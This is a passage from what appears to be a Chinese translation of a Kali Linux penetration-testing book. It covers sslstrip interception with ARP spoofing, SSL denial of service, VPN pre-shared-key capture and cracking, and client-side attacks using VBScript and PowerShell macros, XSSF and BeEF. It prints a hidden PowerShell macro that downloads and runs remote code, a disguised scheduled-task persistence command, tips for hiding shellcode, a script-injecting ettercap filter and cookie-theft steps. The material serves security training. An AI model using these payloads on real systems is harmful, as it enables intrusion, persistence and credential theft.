sslsplit 对 SSL 和 TLS 网络执行中间人攻击。连接通过网络地址转换引擎透明拦截并重定向到sslsplit,终止原始连接并启动到原始目的地的新连接,同时记录所有传输的数据。它支持纯 TCP、SSL、HTTP/HTTPs 以及 IPv4 和 IPv6。
sslstrip 旨在透明地劫持网络上的 HTTP 流量,监视 HTTPS 链接,并将这些链接重定向并映射为伪造的 HTTP 或 HTTPS 链接。它还支持提供一个看起来像锁图标的 favicon 以及拦截通信的选择性记录模式。
sslyze 分析服务器的 SSL 配置。
tlssled 统一了几个其他 SSL 特定应用程序的使用和输出,检查加密强度、证书参数和重新协商能力。

最常用的程序是sslscan,它查询 SSL 服务以确定证书详细信息和支持的密码。输出格式为文本和 XML。

在测试特定连接时,使用--no-failed选项,如下截图所示,让sslscan只显示已接受的密码套件。

SSL 连接的侦察

sslyze python 工具分析服务器的 SSL 配置并验证证书,测试弱密码套件,并识别可能支持其他攻击的配置信息。在下面的截图中,它已经识别出可能支持某些攻击类型的证书不匹配。

SSL 连接的侦察

另一个 SSL 侦察工具是tlssled,如下截图所示。它非常快速、操作简单,输出用户友好。

SSL 连接的侦察

无论您使用何种方法进行 SSL 侦察,都要确保通过运行至少两种不同的工具来交叉验证您的结果。此外,并非所有配置了 SSL 的设备都会同时在线。因此,在大型网络上,在测试过程中多次扫描 SSL 漏洞。

提示

目前正在开发中的一个新工具是 OWASP 的 O-Saft (www.owasp.org/index.php/O-Saft),它提供了 SSL 配置、密码和证书数据的全面概述。

使用 sslstrip 进行中间人攻击

尽管 SSL 保护提供了安全性,但协议也存在一些有效的攻击。2009 年,Moxie Marlinspike 演示了sslstrip,这是一个透明地劫持网络上的 HTTP 流量,并将流量重定向为 HTTP 或 HTTPS 链接的工具。它去除了 SSL 保护,并将安全锁图标返回给受害者的浏览器,以便拦截不容易被检测到。

简而言之,sslstrip发起了对 SSL 的中间人攻击,允许先前受保护的数据被拦截。

要使用sslstrip,必须首先使用以下命令将拦截系统配置为转发模式:

root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward

接下来,使用以下命令设置iptables防火墙,将 HTTP 流量重定向到sslstrip

root@kali:~# iptables –t nat –A PREROUTING –p tcp
  –destination-port 80 –j REDIRECT –to-port <listenport> 

在这个例子中,监听端口已设置为端口 5353。

现在配置完成后,使用以下命令运行sslstrip

root@kali:~# sslstrip –l 5353

以下截图显示了先前命令的执行情况:

使用 sslstrip 进行中间人攻击

最小化执行sslstrip的活动终端窗口,并打开一个新的终端窗口。使用以下命令使用ettercap来欺骗 ARP 并将流量从网络或目标系统直接重定向到拦截系统:

root@kali:~# ettercap –TqM arp:remote /192.168.75.128/ /192.168.75.2/

在这里,ettercap -T开关选择文本界面,-q强制控制台进入安静模式,-M选项激活中间人攻击以劫持和重定向数据包。arp:remote开关实施 ARP 毒化攻击,并将攻击者置为中间人,能够查看和修改传输中的数据包。如果要查看远程 IP 地址和通过网关的通信,则需要remote部分的开关。

上面命令的执行结果如下截图所示:

使用 sslstrip 进行中间人攻击

如果目标系统要访问 SSL 安全内容,他们的查询将通过网关定向到拦截系统。

从用户的角度来看,他们将被引导到该网站,并出现该站点的安全证书存在问题的安全警报,提示他们做出决定。如果他们选择,他们将被引导到他们选择的页面。浏览器右下角的锁图标仍然表示 SSL 已启用,表明他们的通信是安全的。

在后台,sslstrip工具移除 SSL,留下原始内容,可以在ettercap日志中查看,如下截图所示:

使用 sslstrip 进行中间人攻击

这种攻击只对相同的第二层网络段有效。然而,它在有线和无线网络上都能成功。虽然 ARP 重定向可以应用于网络段,但这种攻击会影响网络带宽,可能会被检测到。因此,最有效的方法是将这种攻击直接针对单个设备。

提示

要禁用 PREROUTING 规则,将-A替换为-D。要清除防火墙规则,使用iptables -t nat -F(清除命令)和iptables -t nat -L(验证表已被清除)。

针对 SSL 的拒绝服务攻击

建立 SSL 连接时,服务器必须完成一系列计算密集型的计算来启动握手并开始加密。这需要客户端进行少量的计算工作,服务器则需要更多的计算工作。

如果客户端发起 SSL 连接但拒绝服务器的响应,则 SSL 连接将不会建立。但是,如果 SSL 服务器配置为自动重新协商连接,则计算工作量将导致拒绝服务。

Kali Linux 有几个工具可以帮助您确定是否允许自动重新协商,包括sslyzetssled

如果允许自动重新协商,则输入以下命令将允许测试人员评估对拒绝服务攻击的抵抗力:

root@kali:~# thc-ssl- dos <IP address> <port>

上面命令的执行结果如下截图所示:

针对 SSL 的拒绝服务攻击

攻击 IPSec 虚拟专用网络

虚拟专用网络VPN)使用互联网在远程位置或同一网络内的用户之间提供安全(加密)通信。有两种类型的 VPN:IPSecSSL

IPSec 是建立网络之间安全连接和在虚拟专用网络中连接主机最常用的协议。

在 IPSec 中,有几个子协议执行特定功能,例如以下内容:

  • 认证头AH):为 IP 数据包提供来源证明,保护它们免受重放攻击。

  • 封装安全协议ESP):该协议提供传输数据的来源真实性、完整性和机密性。

  • 安全关联:这是用于加密和验证传输数据的算法集。因为 SA 与单向数据传输相关联,双向通信由一对安全关联保护。安全关联使用Internet 安全关联和密钥管理协议ISAKMP)建立,可以通过多种方式实现。在测试 VPN 的安全性时,最脆弱的配置之一依赖于预共享密钥,Internet 密钥交换IKE)。

为了评估 VPN 的安全性,测试人员遵循以下基本步骤:

  1. 扫描 VPN 网关的存在。

  2. 指纹识别 VPN 网关以确定供应商和配置详细信息。

  3. 寻找与 VPN 供应商或相关产品相关的漏洞。

  4. 捕获预共享密钥。

  5. 执行离线 PSK 破解。

  6. 检查默认用户帐户。

扫描 VPN 网关

要扫描 VPN 网关的存在,使用nmapike-scan。要使用nmap,发出以下命令:

root@kali@:~# nmap -–sU -Pn –p 500 <IP Address>

在这个例子中,-sU指示nmap使用 UDP 数据包(而不是 TCP)扫描主机范围以寻找可能的目标,-Pn确保nmap不会发送 ping 扫描(这可能会警告目标有关扫描并识别测试人员),-p 500标识要扫描的特定端口。

nmap工具由于处理 IKE 数据包的方式而无法定位所有 VPN 网关;最有效的工具是向目标系统发送格式正确的 IKE 数据包并显示返回消息。

定位 VPN 网关的最佳工具是ike-scan(可以通过导航到Kali Linux | 信息收集 | VPN 分析找到)。ike-scan命令行工具使用 IKE 协议来发现和指纹私人网络。它还支持在 IKE 主动模式下破解预共享密钥。要使用ike-scan定位目标,发出以下命令:

root@kali@:~# ike-scan -M <Target IP>

以下屏幕截图显示了上一个命令的执行:

扫描 VPN 网关

-M开关将每个有效负载返回为一行,简化输出。

ike-scan工具针对目标设备测试各种转换。一个转换包含多个属性:加密算法(DES 和 3DES)、哈希算法(MD5 和 SHA1)、认证方法(预共享密钥)、Diffie-Hellman 组(选项一是 768 位,选项二是 1024 位)和生命周期(28,800 秒)。它将确定哪些转换引发了成功的响应。

完成对每个已识别设备的ike-scan后,程序将返回以下之一:

  • 0 个握手返回;0 个通知返回:这表示目标不是 IPSec 网关

  • 0 个握手返回;1 个通知返回:这表示虽然存在 VPN 网关,但ike-scan提供给它的转换都不可接受

  • 1 个握手返回;0 个通知返回:如前面的屏幕截图所示,这表示目标已配置为 IPSec,并将对ike-scan提供的一个或多个转换执行 IKE 协商

指纹识别 VPN 网关

如果您可以与 VPN 网关建立握手,您可以对设备进行指纹识别,返回以下信息:

  • 供应商和型号

  • 软件版本

这些信息用于识别特定供应商的攻击或微调通用攻击。

注意

如果 VPN 由防火墙托管,指纹识别还将识别所使用的防火墙。

由于 IKE 不能保证传输数据包的可靠性,大多数 VPN 网关供应商使用专有协议来处理看似丢失的流量。ike-scan工具向 VPN 网关发送 IKE 探测数据包,但不会回复收到的响应。服务器会假装数据包已丢失,并实施其退避策略以重新发送数据包。通过分析数据包之间的时间差和重试次数,ike-scan可以识别供应商。

在下面的截图中显示的示例中,-M选项导致每个有效负载显示在单独的一行上,使输出更易于阅读。ike-scan-showbackoff选项(如下面的截图所示)记录了发送和接收的所有数据包的响应时间,然后在显示结果之前记录了 60 秒的延迟。

对 VPN 网关进行指纹识别

在前面的截图中,供应商 IDVID)是一个特定于供应商的 MD5 哈希文本字符串,用于识别专有通信或特定通信细节。

ike-scan工具还可用于确定网关是否支持主动模式。如果支持,很难与服务器建立握手,因为服务器不会响应,直到作为识别有效负载的一部分提供了有效的 ID。

捕获预共享密钥

ike-scan工具可用于将 VPN 网关推入主动模式。这很重要,因为 IPSec 的主动模式不保护预共享密钥。认证凭据以明文形式发送,可以被捕获,然后使用离线工具进行破解。

对 Cisco VPN 集中器发出的以下示例使用以下命令:

root@kali@:~# ike-scan --pskcrack --aggressive
--id=peer <target>

以下截图显示了先前命令的执行:

捕获预共享密钥

如果您希望将结果导出到文本文件以进行额外分析和离线密码破解,请使用以下命令:

root@kali@:~# ike-scan --pskcrack --aggressive
  --id=peer <target> > <path/psk.txt> 

执行离线 PSK 破解

在使用离线工具破解捕获的预共享密钥哈希之前,编辑输出文件以仅包含哈希值(应包含九个以冒号分隔的值)。破解密钥的最有效工具是psk-crack,它支持字典、暴力和混合模式破解。

执行离线 PSK 破解

与所有离线破解一样,成功取决于工作和付出的努力(时间、计算工作量和能源投入)。像前面截图中显示的那样,一个强大的预共享密钥将需要很长时间才能破解。

识别默认用户账户

与大多数其他硬件设备一样,VPN 网关通常在安装时包含默认用户帐户。这些可能不会被管理员更改。使用在指纹识别过程中收集的信息,测试人员可以进行网络搜索以识别标准用户帐户。

如果测试人员可以访问用户的计算机,用户名凭据通常以明文形式存储在系统注册表中。此外,如果测试人员可以访问系统的内存,就可以直接从客户系统的内存转储中获取密码。

提示

VulnVPNwww.rebootuser.com)是一个虚拟操作系统和易受攻击的 VPN 服务器。它允许您应用本章描述的工具来破坏应用程序并在不损坏生产系统的情况下获得 root 访问权限。

总结

在本章中,我们研究了如何利用常见的远程访问应用程序,包括已加密以提供额外安全性的应用程序。我们利用了操作系统通信协议(RDP 和 SSH)和应用程序,如 VNC。我们还学习了如何对安全套接字层连接和虚拟专用网络进行侦察,以及减少加密效果的攻击类型。

在下一章中,我们将看到针对特定通信渠道的联合攻击与针对人类的攻击的结果。在检验这些客户端利用的有效性时,我们将审查几种攻击类型以及浏览器利用框架BeEF)项目。

第十一章:客户端利用

对于攻击者或有效的渗透测试人员来说,最大的挑战是绕过目标的安全控制以实现妥协。当针对位于网络上的系统时,这可能很困难,因为攻击者通常需要绕过防火墙、代理、入侵检测系统和防御深度架构的其他元素。

成功的绕过策略是直接针对客户端应用程序。用户启动与客户端应用程序的交互,使攻击者能够利用用户和应用程序之间已经存在的信任。社会工程方法的使用将增强客户端攻击的成功率。

客户端攻击针对的是通常缺乏安全控制(尤其是防火墙和入侵检测系统)的系统。如果这些攻击成功并建立了持久的通信,客户端设备可以在重新连接到目标网络时用于发动攻击。

在本章结束时,您将学会如何使用以下方法攻击客户端应用程序:

  • 敌对脚本攻击(VBScript 和 PowerShell)

  • 跨站脚本框架

  • 浏览器利用框架

使用敌对脚本攻击系统

客户端脚本,如 JavaScript、VBScript 和 PowerShell,是为了将应用程序逻辑和操作从服务器移动到客户端计算机而开发的。从攻击者或测试者的角度来看,使用这些脚本有几个优点,如下所示:

  • 它们已经是目标自然操作环境的一部分;攻击者不需要将大型编译器或其他辅助文件(如加密应用程序)传输到目标系统。

  • 脚本语言旨在促进计算机操作,如配置管理和系统管理。例如,它们可以用于发现和更改系统配置、访问注册表、执行程序、访问网络服务和数据库,以及通过 HTTP 或电子邮件传输二进制文件。这些标准的脚本操作可以很容易地被测试人员采用使用。

  • 由于它们是操作系统环境的一部分,它们通常不会触发防病毒警报。

  • 使用脚本很容易,因为编写脚本只需要一个简单的文本编辑器。使用脚本发动攻击没有障碍。

历史上,JavaScript 是发动攻击的脚本语言选择,因为它在大多数目标系统上广泛可用。由于 JavaScript 攻击已经被充分描述,我们将重点介绍 Kali 如何利用更新的脚本语言(VBScript 和 PowerShell)进行攻击。

使用 VBScript 进行攻击

Visual Basic Scripting EditionVBScript)是由微软开发的Active Scripting 语言。它旨在成为一个轻量级的、Windows 本地的语言,可以执行小型程序。自 Windows 98 以来,VBScript 已经默认安装在每个桌面版的 Microsoft Windows 上,使其成为客户端攻击的一个绝佳目标。

要使用 VBScript 发动攻击,我们将从命令行调用 Metasploit 的msfpayload

root@kali:~# msfpayload windows/meterpreter/reverse_tcp
  LHOST=[Your local Host] LPORT= [Your Local Port] V 

注意V表示输出将是一个 VBS 宏脚本。输出将显示为一个具有两个特定部分的文本文件,如下面的屏幕截图所示:

使用 VBScript 进行攻击

要使用脚本,打开 Microsoft Office 文档并创建一个宏(具体命令将取决于所使用的 Microsoft Windows 版本)。将以下信息框中给出的文本的第一部分(从Sub Auto_Open()到最后的End Sub)复制到宏编辑器中,并保存为启用宏。

'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************

Sub Auto_Open()
    Ffqsm12
    End Sub

// Additional code removed for clarity

Sub Workbook_Open()
    Auto_Open
End Sub

接下来,将 Shellcode 复制到实际文档中。Shellcode 的部分摘录如下屏幕截图所示:

使用 VBScript 进行攻击

Shellcode 可识别为可用于执行攻击的脚本,因此您可能希望通过减小字体大小并使颜色与文档的背景匹配来隐藏或混淆 Shellcode。

攻击者必须在 Metasploit 上设置监听器。在命令提示符下输入msfconsole后,攻击者通常会输入以下命令,并设置主机、端口和有效载荷的选项;此外,攻击者还将配置连接自动迁移到更稳定的explorer.exe进程,如下面的命令行所示。

msf>use exploit/multi/handler 
msf>set lhost 192.168.43.130
msf>set lport 4444
msf>set payload windows/meterpreter/reverse_tcp
msf>set autorunscript migrate -n explorer.exe
msf >exploit 

当文件发送到目标时,打开时会弹出一个安全警告;因此,攻击者将使用社会工程学来迫使预期的受害者选择启用选项。最常见的方法之一是将宏嵌入已配置为玩游戏的 Microsoft Word 文档或 Excel 电子表格中。

打开文档将创建一个反向 TCP shell 返回给攻击者,允许攻击者确保与目标的持久连接并进行后期利用活动。

扩展这种攻击方法,我们可以使用位于/usr/share/metasploit-framework/toolsexe2vba.rb将任何可执行文件转换为 VBScript。

例如,首先使用 Metasploit 框架创建一个后门。注意X表示后门将被创建为一个可执行文件(attack.exe),如下面的屏幕截图所示:

使用 VBScript 进行攻击

接下来,使用以下命令执行exe2.vba将可执行文件转换为 VBScript(确保使用正确的路径名):

# ruby exe2vba.rb attack.exe  attack.vbs
[*] Converted 73802 bytes of EXE into a VBA script

这将允许将可执行文件放置在一个 Microsoft 启用宏的文档中并发送给客户端。VBScript 可用于执行反向 shell 并更改系统注册表,以确保 shell 保持持久。我们发现这种类型的攻击是绕过网络安全控制并保持与受保护网络连接的最有效方式之一。

从攻击者的角度来看,使用基于 VBScript 的漏洞利用有一些显著的优势(这仍然是一个强大的工具)。然而,它的使用正在迅速被更强大的脚本语言 PowerShell 所取代。

使用 Windows PowerShell 进行攻击系统

Windows PowerShell 是一个命令行 shell 和脚本语言,旨在用于系统管理。基于.NET 框架,它扩展了 VBScript 中可用的功能。语言本身是相当可扩展的。由于它是建立在.NET 库上的,你可以将来自诸如 C#或 VB.NET 等语言的代码合并进来。你还可以利用第三方库。尽管它是可扩展的,但它是一种简洁的语言。需要超过 100 行代码的 VBScript 可以减少到只有 10 行 PowerShell!

也许,PowerShell 最好的特性是它默认情况下在大多数现代基于 Windows 的操作系统(Windows 7 及更高版本)上可用,并且无法被移除。

我们将使用 Metasploit Framework 附带的 PowerShell 脚本来支持 Kill Chain 的攻击阶段。

为了发动攻击,我们将使用 Metasploit Framework 的 PowerShell Payload Web Delivery 模块。该模块的目的是快速在目标系统上建立会话。攻击不会写入磁盘,因此不太可能触发客户端防病毒软件的检测。攻击的启动和可用的模块选项如下截图所示:

使用 Windows PowerShell 攻击系统

Metasploit Framework 将生成一个可以嵌入文档并用于发动攻击的一行宏,如下示例代码所示:

 Sub AutoOpen()
 Call Shell("PowerShell.exe -w hidden -nop -ep bypass -c ""IEX ((new-object net.webclient).downloadstring('http://192.168.1.102:4444/boom'))"",1)
 End Sub

在攻击完成之前,攻击者必须为传入 shell 准备一个监听器(URIPATH由 Metasploit 随机生成;确保为监听器设置正确的URIPATH)。创建监听器的命令如下:

 msf> use exploit/windows/misc/psh_web_delivery
 msf exploit(psh_web_delivery) > set SRVHOST 192.168.1.102
 msf exploit(psh_web_delivery) > set URIPATH boom
 msf exploit(psh_web_delivery) > exploit

成功的攻击将在攻击者的系统上创建一个交互式 shell。

提示

可以使用schtask命令使psh_web_delivery持久化。以下命令将创建一个计划任务MSOfficeMngmt,该任务将在登录时实现powershell.exe(默认情况下位于Windows\system32目录中):

schtasks /create /tn MSOfficeMngmt /tr "powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep -bypass -nop -c 'IEX ((new-object net.webclient).downloadstring (''http://192.168.1.104:4444/boom'''))'" /sc onlogon /ru System

Kali 的 PowerSploit 目录中可以找到用于支持后期利用活动的额外 PowerShell 脚本。尽管 PowerShell 具有灵活性,但它也有一些缺点。

例如,如果最终用户在应用持久性机制之前关闭包含宏的文档,则连接将丢失。

更重要的是,诸如 VBScript 和 PowerShell 之类的脚本只对 Microsoft 环境有用。为了扩大客户端攻击的范围,我们需要寻找一个通用的客户端漏洞,无论其操作系统环境如何都可以利用。这种漏洞的一个特例就是跨站脚本攻击。

跨站脚本框架

跨站脚本XSS)漏洞据报道是网站中发现的最常见的可利用漏洞。据估计,它们存在于高达 80%的所有应用程序中。

XSS 漏洞发生在应用程序(通常是基于 Web 的)违反了被称为同源策略的信任概念,并显示了未经消毒以删除恶意语句的用户提供的内容。

至少有两种主要类型的 XSS 漏洞:非持久持久

最常见的类型是非持久或反射漏洞。当客户端提供的数据立即被服务器用于显示响应时,就会发生这种漏洞。这种漏洞的攻击可以通过电子邮件或第三方网站提供看似引用受信任网站但包含 XSS 攻击代码的 URL 来发生。如果受信任的网站容易受到这种特定攻击的影响,执行该链接可能导致受害者的浏览器执行一个恶意脚本,可能导致妥协。

持久(存储)XSS 漏洞发生在攻击者提供的数据被服务器保存,然后在用户浏览过程中永久显示在受信任的网页上。这通常发生在允许用户发布 HTML 格式消息的在线留言板和博客上。攻击者可以在网页上放置一个对传入用户不可见的恶意脚本,但会危害访问受影响页面的访客。

Kali Linux 上存在一些工具用于查找 XSS 漏洞,包括 xsser 和各种漏洞扫描器。然而,有一些工具允许测试人员充分利用 XSS 漏洞,展示了这种弱点的严重性。

跨站脚本框架XSSF)是一个多平台安全工具,利用 XSS 漏洞与目标创建通信渠道,支持包括:

  • 对目标浏览器进行侦察(指纹识别和先前访问的 URL)、目标主机(检测虚拟机、获取系统信息、注册表键和无线键)以及内部网络。

  • 向目标发送警报消息弹出。这种简单的“攻击”可以用来演示 XSS 漏洞,但更复杂的警报可以模仿登录提示并捕获用户身份验证凭据。

  • 窃取使攻击者能够冒充目标的 Cookie。

  • 将目标重定向以查看不同的网页。敌对的网页可能会自动下载一个漏洞利用到目标系统上。

  • 加载 PDF 文件或 Java 小程序到目标,或从 Android 移动设备中窃取数据,如 SD 卡内容。

  • 发动 Metasploit 攻击,包括browser_autopwn,以及拒绝服务攻击。

  • 发动社会工程攻击,包括自动完成窃取、点击劫持、Clippy、假闪存更新、网络钓鱼和标签窃取。

此外,XSSF 隧道功能允许攻击者冒充受害者并使用其凭据和会话浏览网站。这可以是访问内部企业内部网的有效方法。

API 有很好的文档,允许轻松创建新的攻击模块。由于它是用 Ruby 编写的,API 与 Metasploit Framework 集成,允许攻击者发动额外的攻击。

要使用 XSSF,必须安装并配置以支持以下步骤的攻击:

  1. XSSF 不随 Kali 一起提供。首先,用户必须打开一个终端窗口,并使用以下命令设置适当的目录:
root@kali:~# cd /opt/metasploit/apps/pro/msf3

  1. 使用以下命令安装 XSSF:
svn export http://xssf.googlecode.com/svn/trunk ./ --force 

确保使用svn export而不是svn checkout,因为后者的命令会破坏现有的 MSF svn文件。成功安装的摘录如下截图所示:

跨站脚本框架

  1. 从 Metasploit Framework 控制台,使用load xssf命令加载 XSSF 插件,如下截图所示:跨站脚本框架

  2. 通过输入helpxssf来识别 XSSF 命令,如下截图所示:跨站脚本框架

  3. 从控制台,使用以下命令访问与插件相关的 URL:

msf>xssf_urls

前一个命令的执行如下截图所示,可以看到识别出了几个 URL:

跨站脚本框架

最重要的 URL 是位于本地主机上的 XSSF 服务器。还识别出了其他几个 URL,包括以下内容:

  • 通用 XSS 注入:这是您试图让受害者点击或执行的目标。

  • XSSF 测试页面:XSSF 提供对易受 XSS 攻击的本地测试页面的访问。这可以用来在实际测试期间验证攻击和结果。

  • XSSF 隧道代理:XSSF 允许攻击者在保留其安全身份的同时使用受损主机的身份进行浏览。

  • XSSF 日志页面:记录攻击和接收到的信息。不幸的是,日志页面提供了一个非常黑暗的背景,很难看到返回的信息。在测试期间,我们通常通过命令行访问日志信息,这样更清晰,并且可以进行脚本化。

  • XSSF 统计页面

  • XSSF 帮助页面

我们将使用易受攻击的 Web 应用程序Mutillidae来演示 XSSF。Mutillidae 是 Metasploitable 项目的一部分,可以从sourceforge.net/projects/metasploitable/files/Metasploitable2/下载。有关安装此易受攻击目标的注意事项,请参阅附录安装 Kali Linux

  1. 一旦打开 Mutillidae,导航到博客页面;这个页面已知容易受到 XSS 攻击(您可以使用漏洞扫描工具对 Mutillidae 进行扫描,以识别其他潜在的插入点)。

要对目标客户端发动攻击,不要在博客中输入常规帖子。相反,输入包含目标 URL 和端口的脚本元素:

<script src="img/loop?interval=5"></script>

下面的截图显示了攻击代码在目标网站的博客页面上的放置。

跨站脚本框架

当这个被输入并受害者点击保存博客条目时,他们的系统将被攻击。从 Metasploit Framework 控制台,测试人员可以使用xssf_victimsxssf_information命令获取有关每个受害者的信息。执行xssf_victims命令后,将显示有关每个受害者的信息,如下截图所示:

跨站脚本框架

此时最常见的 XSS 攻击是向客户端发送简短且相对无害的消息或警报。使用 Metasploit Framework,可以通过输入以下命令相对简单地实现:

msf > use auxiliary/xssf/public/misc/alert
msf auxiliary(alert) > show options

在审查选项后,可以从命令行快速发送警报,如下截图所示:

跨站脚本框架

受害者将看到一条消息,如下面的截图所示:

跨站脚本框架

通常,大多数测试人员和他们的客户使用这样简单的警报消息来验证跨站脚本。这证明了“漏洞”存在。

然而,简单的警报缺乏情感冲击。它们经常识别出真正的漏洞,但客户端并不会因为警报消息被认为不构成重大威胁而对漏洞做出响应和调解。幸运的是,XSSF 允许测试人员“加大赌注”,展示更复杂和危险的攻击。

XSSF 可以使用以下命令来窃取 cookie:

msf> use auxiliary/xssf/public/misc/cookie
msfauxillary(cookie) > show options (ensure all needed options selected)
msfauxillary(cookie) > run

run命令的执行如下截图所示:

跨站脚本框架

攻击完成后,可以通过查看 XSSF 日志页面的结果或直接使用命令来找到 cookie,如下截图所示:

跨站脚本框架

auxiliary/xssf/public/misc中的一些其他有用的命令包括:

  • check_connected:此命令检查受害者是否已打开任何社交网络站点(Gmail、Facebook 或 Twitter)

  • csrf:它发动跨站点请求伪造攻击

  • keylogger:此命令在客户端上调用键盘记录器

  • load_appletload_pdf:这些命令在客户端上加载恶意的 Java 小程序和 PDF 文件,并调用它们来启动预先配置的恶意软件

  • redirect:将客户端重定向到指定的网页

  • webcam_capture:此命令从客户端的网络摄像头中捕获图像

这只是一个不完整的列表,但它显示了该工具的发展程度。此外,还有一些用于网络扫描和发动拒绝服务攻击的模块,以及一些用于确保攻击完成后持久性的模块。

XSSF 还可以与 ettercap 一起用于破坏内部网络。例如,ettercap 可以用于将</head>数据替换为指向恶意页面的链接,方法是在名为attack的过滤器中放置以下代码:

if (ip.proto == TCP && tcp.src == 80) {
  if (search(DATA.data, "</head>")) {
    replace("</head>", "</head><script src=\"http://192.168.43.130:8888/test.html\"></script> ");
  }
}

然后必须使用以下命令将过滤脚本转换为二进制文件:

 etterfilter attack.filter –o attack.ef

要对网络上的所有用户发动此攻击,请使用以下命令执行ettercap

 ettercap –T –q –F attack.ef –M ARP // //

XSSF,特别是当集成到 Metasploit Framework 中时,是利用 XSS 漏洞的非常强大的工具。然而,最近出现了一个新星,可以帮助您实现类似的攻击:浏览器利用框架。

浏览器利用框架-BeEF

BeEF 是一个专注于特定客户端应用程序的利用工具:Web 浏览器。

BeEF 允许攻击者使用 XSS 或 SQL 注入等攻击将 JavaScript 代码注入到易受攻击的 HTML 代码中。这种利用代码被称为hook。当浏览器执行 hook 时,就会实现妥协。浏览器(zombie)连接到 BeEF 应用程序,该应用程序向浏览器提供 JavaScript 命令或模块。

BeEF 的模块执行以下任务:

  • 指纹识别和受损浏览器的侦察。它还可以用作评估存在于不同浏览器下的利用和其行为的平台。

注意

请注意,BeEF 允许我们在同一客户端上连接多个浏览器,以及跨域连接多个客户端,然后在利用和后利用阶段对它们进行管理。

  • 对目标主机进行指纹识别,包括虚拟机的存在。

  • 检测客户端上的软件(仅限 Internet Explorer)并获取Program FilesProgram Files(x86)目录中的目录列表。这可能会识别其他可以利用以巩固我们对客户端的控制的应用程序。

  • 使用受损系统的网络摄像头拍照;这些照片在报告中具有重要影响。

  • 搜索受害者的数据文件并窃取可能包含身份验证凭据(剪贴板内容和浏览器 cookie)或其他有用信息的数据。

  • 实施浏览器按键记录。

  • 使用 ping 扫描和指纹网络设备进行网络侦察,并扫描开放端口。

  • 从 Metasploit Framework 发动攻击。

  • 使用隧道代理扩展攻击内部网络,利用受损的 Web 浏览器的安全权限。

因为 BeEF 是用 Ruby 编写的,所以它支持多个操作系统(Linux,Windows 和 OS X)。更重要的是,它很容易定制 BeEF 中的新模块并扩展其功能。

安装和配置浏览器利用框架

BeEF 不是 Kali 发行版的一部分,但已经打包了所需的依赖项,以支持在 Kali 中进行自动安装。要安装 BeEF,请使用以下命令:

root@kali:~# apt-get install beef-xss

BeEF 将安装在/usr/share/beef-xss目录中。默认情况下,它没有与 Metasploit Framework 集成。要集成 BeEF,您需要执行以下步骤:

  1. 编辑位于/usr/share/beef-xss/config.yaml的主配置文件以读取:
metasploit:
  enable:true
  1. 编辑位于/usr/share/beef-xss/extensions/metasploit/config.yml的文件。您需要编辑hostcallback_hostos 'custom',path行,以包括您的 IP 地址和 Metasploit Framework 的位置。正确编辑的config.yml文件如下屏幕截图所示:安装和配置浏览器利用框架

  2. 启动msfconsole,并加载msgrpc模块,如下面的屏幕截图所示。确保您也包括密码:安装和配置浏览器利用框架

  3. 使用以下命令启动 BeEF:

root@kali:~# cd /usr/share/beef-xss/
root@kali:/usr/share/beef-xss/~# ./beef

  1. 通过查看程序启动时生成的消息来确认启动。它们应该表明发生了与 Metasploit 的成功连接,并伴随着 Metasploit 利用已被加载的指示。成功的程序启动如下屏幕截图所示:安装和配置浏览器利用框架

提示

当您重新启动 BeEF 时,请使用-x开关重置数据库。

在此示例中,BeEF 服务器正在192.168.222.129上运行,而“hook URL”(我们希望目标激活的 URL)是192.168.222.129:80/hook.js

BeEF 的大部分管理和管理是通过 Web 界面完成的。要访问控制面板,请转到 http://<IP 地址>:3000/ui/panel

默认的登录凭据是 用户名:beef密码:beef,如下面的屏幕截图所示,除非这些在 config.yaml 中被更改。

安装和配置浏览器利用框架

BeEF 浏览器的演示

当启动 BeEF 控制面板时,它将呈现 入门 屏幕,其中包含到在线站点的链接,以及可以用来验证各种攻击的演示页面。BeEF 控制面板如下屏幕截图所示:

BeEF 浏览器的演示

如果您钩住了一个受害者,界面将分为两个面板:

  • 在面板的左侧 Hooked Browsers 中,测试人员可以看到列出的每个连接的浏览器,以及有关其主机操作系统、浏览器类型、IP 地址和已安装插件的信息。因为 BeEF 设置了一个 cookie 来识别受害者,它可以参考这些信息并维护一个受害者的一致列表。

  • 面板的右侧是所有操作的发起和结果的获取位置。在 Commands 选项卡中,我们看到了一个分类的存储库,其中列出了可以针对钩住的浏览器使用的不同攻击向量。这个视图会根据每个浏览器的类型和版本而有所不同。

BeEF 使用颜色编码方案来描述命令针对特定目标的可用性。使用的颜色如下:

  • 绿色:表示命令模块针对目标有效,并且应该被受害者检测到

  • 橙色:表示命令模块针对目标有效,但可能会被受害者检测到

  • 灰色:表示命令模块尚未针对目标进行验证

  • 红色:表示命令模块不针对目标有效。它可以使用,但其成功不被保证,并且使用可能被目标检测到

要注意这些指标,因为客户端环境的变化可能会使一些命令无效,或者可能导致其他意外的结果。

要开始攻击或钩住受害者,我们需要让用户点击 hook URL,其形式为 <IP 地址>:<端口>/hook.js。这可以通过各种方式实现,包括:

  • 原始的 XSS 漏洞

  • 中间人攻击(尤其是使用 BeEF ShankARP 欺骗工具,专门针对内部网络上的内部网站)

  • 社会工程攻击,包括 BeEF 网页克隆和大规模邮件发送,使用 iFrame 冒充的自定义 hook 点,或者 QR 代码生成器

一旦浏览器被钩住,它被称为僵尸。从命令界面左侧的 Hooked Browsers 面板中选择僵尸的 IP 地址,然后参考可用的命令。

在下面的屏幕截图中显示的示例中,钩住的浏览器有几种不同的攻击和管理选项可用。其中最容易使用的攻击选项之一是社会工程学 Clippy 攻击。

当从 Commands 下的 Module Tree 中选择 Clippy 时,右侧会启动一个特定的 Clippy 面板,如下面的屏幕截图所示。它允许您调整图像、传递的文本以及如果受害者点击提供的链接将在本地启动的可执行文件。默认情况下,自定义文本通知受害者他们的浏览器已过时,提供更新,下载一个可执行文件(非恶意),然后感谢用户进行升级。所有这些选项都可以由测试人员更改。

BeEF 浏览器的演示

当 Clippy 被执行时,受害者将在他们的浏览器上看到如下截图所示的消息:

BeEF 浏览器的漫游

这可以是一个非常有效的社会工程攻击。在与客户进行测试时,我们成功率(客户下载了一个非恶意的指示文件)约为 70%。

提示模块的工作方式类似。它不是向受害者的浏览器发送简单的警报,而是发送一个通知请求,提示受害者输入数据。在许多情况下,如果受害者被提示输入未定义的数据,他们会自动重新输入他们的密码。提示可以要求特定的数据,或者可以用来引导受害者到一个包含恶意软件的系统补丁的网站上下载。下面的截图显示了获取用户密码的最简单和最有效的攻击之一。

BeEF 浏览器的漫游

